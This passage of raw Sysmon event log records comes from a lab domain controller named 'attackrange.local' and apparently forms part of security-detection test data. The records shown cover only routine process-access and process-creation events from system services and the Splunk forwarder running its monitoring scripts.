10341000x80000000000000005365Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.805{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2952-5F80-2A01-000000007F01}4196C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005364Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.805{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005363Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.805{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005362Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.805{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005361Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.805{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005360Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.805{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005359Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.805{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005358Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.805{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005357Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.805{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005356Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.805{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005355Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.805{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-2952-5F80-2A01-000000007F01}4196C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005354Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.805{A5F018FF-294E-5F80-0501-000000007F01}35041608C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2952-5F80-2A01-000000007F01}4196C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7d35e7|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7cdcb9|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca4ec|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca0a3|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7c9f0d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6d7908|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6de2ee|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b29fa|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b4274|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e42dc|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ec682|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005353Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.807{A5F018FF-2952-5F80-2A01-000000007F01}4196C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinHostMon.cmd" --scheme"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005352Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.695{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2952-5F80-2901-000000007F01}2520C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005351Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005350Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005349Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005348Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005347Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005346Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005345Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005344Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005343Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005342Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.695{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-2952-5F80-2901-000000007F01}2520C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005341Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.695{A5F018FF-294E-5F80-0501-000000007F01}35041608C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2952-5F80-2901-000000007F01}2520C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7d35e7|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7cdcb9|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca4ec|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca0a3|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7c9f0d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6d7908|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6de2ee|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b29fa|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b4274|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e42dc|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ec682|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005340Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.697{A5F018FF-2952-5F80-2901-000000007F01}2520C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinEventLog.cmd" --scheme"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005339Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 